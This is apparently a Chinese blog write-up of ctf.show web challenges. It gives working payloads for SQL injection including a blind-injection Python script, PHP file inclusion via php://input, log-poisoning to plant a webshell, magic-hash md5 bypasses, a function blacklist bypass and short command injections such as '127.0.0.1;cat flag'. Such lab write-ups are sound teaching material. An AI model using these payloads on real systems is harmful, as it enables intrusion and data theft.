WEB

web2

首先题目提示是sql注入,进入之后是个登录框

用万能密码注入,成功登录

再在bp中注入,查看回显点

回显点为2位置,于是查看当前数据库名

当前数据库名为web2,再查看数据库中表名

刚开始误以为有个表名叫flag欢迎你,后来发现理解错了,其实两个表分别为flag和user

再查字段名,注意表名要加单引号

看到有一个字段flag,就是它了

我只写了一种方法,但是在此引用一下一位大佬的博客,写得很详细

https://www.cnblogs.com/anweilx/p/12360392.html

web3

打开靶机,提示为文件包含漏洞

测试一下

https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=../../../../../../../../../../etc/passwd

测试成功,确实存在文件包含漏洞

 此题考的是PHP伪协议+文件包含,实现任意命令执行

构造url并抓取数据包

https://d7c9f3d7-64d2-4110-a14b-74c61f65893c.chall.ctf.show/?url=php://input

开始试验,查询当前目录下的文件结构

 查看ctf_go_go_go文件内容

web4

打开靶机,和上题样子一样

但是按照上题的方法,却会报错

这题是要通过日志文件,来写入一句话木马

首先,查看一下日志文件/?url=/var/log/nginx/access.log

可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息,然后用bp抓包,再在User-Agent里面写入一句话木马

然后蚁剑连接日志目录

使用蚁剑的文件管理功能,www目录下有一个flag.txt文件,很明显flag就在这里面

打开就有flag了

web5

题目代码并不难,大体意思就是说:要满足v1是字母,v2是数字,并且v1和v2的哈希值相等,这样flag才会出来

这题考的是md5值相等值不相等,PHP有个隐式转换的缺陷,PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。当然,安全的比较方法是三个=,也就是“===”。

构造例子/?v1=QNKCDZO&v2=240610708

得到flag

web6

这题和web2不同的就是,过滤了空格,只要把web2的空格全都换成/**/其他都不变

红包题 耗子尾汁

又是一道php代码审计的题目

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-11-30 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-30 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
echo "rlezphp!!!";
hackerrlezphp!!!

可以看到a不能在dis这个数组里,否则就会报错,这里主要考察的就是forward_static_call_array这个函数

forward_static_call_array — Call a static method and pass the arguments as array,也就是可以调用静态方法并且将数组作为参数

因此有两种方法

一种是:先a=\system&b[]=ls 之后a=\system&b[]=cat flag.php

还有一种套娃:a=forward_static_call_array&b[]=system&b[1][0]=ls

[nl]难了

同样是一道php代码审计,代码也比较简单

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
//by Firebasky
//by Firebasky

意思就是说传入的1参数的值的长度要小于4,才能执行

应该是是RCE读取当前php,要求指令长度小于4,只能用nl读取
Linux中可以将文件名作为函数和参数,通过星号通配执行

先新建一个名称为nl的文件作为指令

?1=>nl

右尖括号表示将右尖括号左边的内容写入右边文件,所以就相当于新建了一个nl空文件

接着读取当前的php,我们预期是执行nl xxx.php,这里由于不知道这个php的名称,无法执行

?1=*>z

这个操作的意思是:根目录下有两个文件,一个是我们新建的nl,还有一个是当前的xxx.php

将这两个文件写入z文件,最后访问这个z文件就会自动执行nl xxx.php

访问http://(url)/z时,可下载php到本地,包含了flag

 

 

一.萌新赛

1.签到题

命令执行漏洞,构造payload使前后语句闭合,如下:

/?url=127.0.0.1;ls;com(com可以任意替换)

然后发现两个文件,一个是flag还有一个就是index.php

然后再构造payoad:

/?url=127.0.0.1;cat flag;com

得到flag

2.萌新记忆

进去后依次点了下那四个栏目,然后不知不觉就读完了。。但是没有发现什么 就用御剑扫了一下,发现一个可疑url:

http://b589147c-b05f-4b71-8883-5789b4a8e5e2.challenge.ctf.show:8080/admin/

进去后是一个登录页面,怀疑是sql注入,试了几个:

'||'a'<'b 密码错误(说明账号对了,也就是我们盲注成功的信息)
'||'a'<'a 用户名/密码错误
'||aaaaaaaaaaaaaaaaaaaaa 用户名错误(用户名长度超过20即会此报错)

试了下admin,提示密码错误,说明用户名的确是admin,那么问题就是要输入正确的密码,bool盲注一下:

1'||length(p)<'18 密码错误 成功,说明密码就是17位

然后写个脚本,跑出正确的密码

import requests
url = "http://b589147c-b05f-4b71-8883-5789b4a8e5e2.challenge.ctf.show:8080/admin/checklogin.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""
for i in range(1, 18):
for j in letter:
payload = "'||substr(p,{},1)<'{}".format(i, j)
data = {
'u': payload,
'p': 1
}
res = requests.post(url=url, data=data).text
if "密码错误" == res:
flag += chr(ord(j)-1)
print(flag)
break

得到如下:

最后一个即为admin的密码,登录得到flag

3.假赛生

题目如上,看下面一段,可以发现出现flag有几个条件:

其一,name要为admin

其二,get传入参数c,不能被/\w\W*/匹配到、

所以根据题目提示,有两个页面,一个是register.php注册页,还有一个是login.php登录页面

于是我们注册一个admin,密码随便,得到:

试着注册时在admin后面加个空格,然后就显示注册成功了

所以第一步算是完成,接下来就是登录,然后get传参绕过

\w 匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]"。
\W 匹配任何非单词字符。等价于“[^A-Za-z0-9_]"

能输入的都被过滤了,干脆什么都不输,直接来:

http://d263a143-c721-4698-8b98-0bb044d014a5.challenge.ctf.show:8080/index.php?c=

然后就得到flag了

 

posted @   Athena-ydy  阅读(189)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· 单线程的Redis速度为什么快?
· 展开说说关于C#中ORM框架的用法!
· Pantheons:用 TypeScript 打造主流大模型对话的一站式集成库
· SQL Server 2025 AI相关能力初探
· 为什么 退出登录 或 修改密码 无法使 token 失效
点击右上角即可分享
微信分享提示